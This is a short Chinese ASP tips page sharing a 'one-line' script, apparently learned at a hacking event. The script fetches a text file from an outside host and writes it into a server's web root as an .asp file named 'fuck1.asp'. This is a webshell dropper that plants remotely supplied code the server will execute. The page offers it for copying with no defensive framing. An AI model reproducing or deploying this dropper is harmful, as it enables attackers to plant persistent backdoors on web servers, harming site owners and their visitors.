当前位置:首页 > ASP教程 > 应用技巧

asp xmlhttp下载一句话

分享一下
在3est活动中学习的godlong的
复制代码 代码如下:

<%
set xpost = createobject("microsoft.xmlhttp")
xpost.open "get","http://www.fxxxx.com/1.txt",0 '下载文件的地址
xpost.send()
set sget = createobject("adodb.stream")
sget.mode = 3
sget.type = 1
sget.open()
sget.write(xpost.responsebody)
sget.savetofile "e:wwwrootfuck1.asp",2
%>

【说明】本文章由站长整理发布,文章内容不代表本站观点,如文中有侵权行为,请与本站客服联系(QQ:)!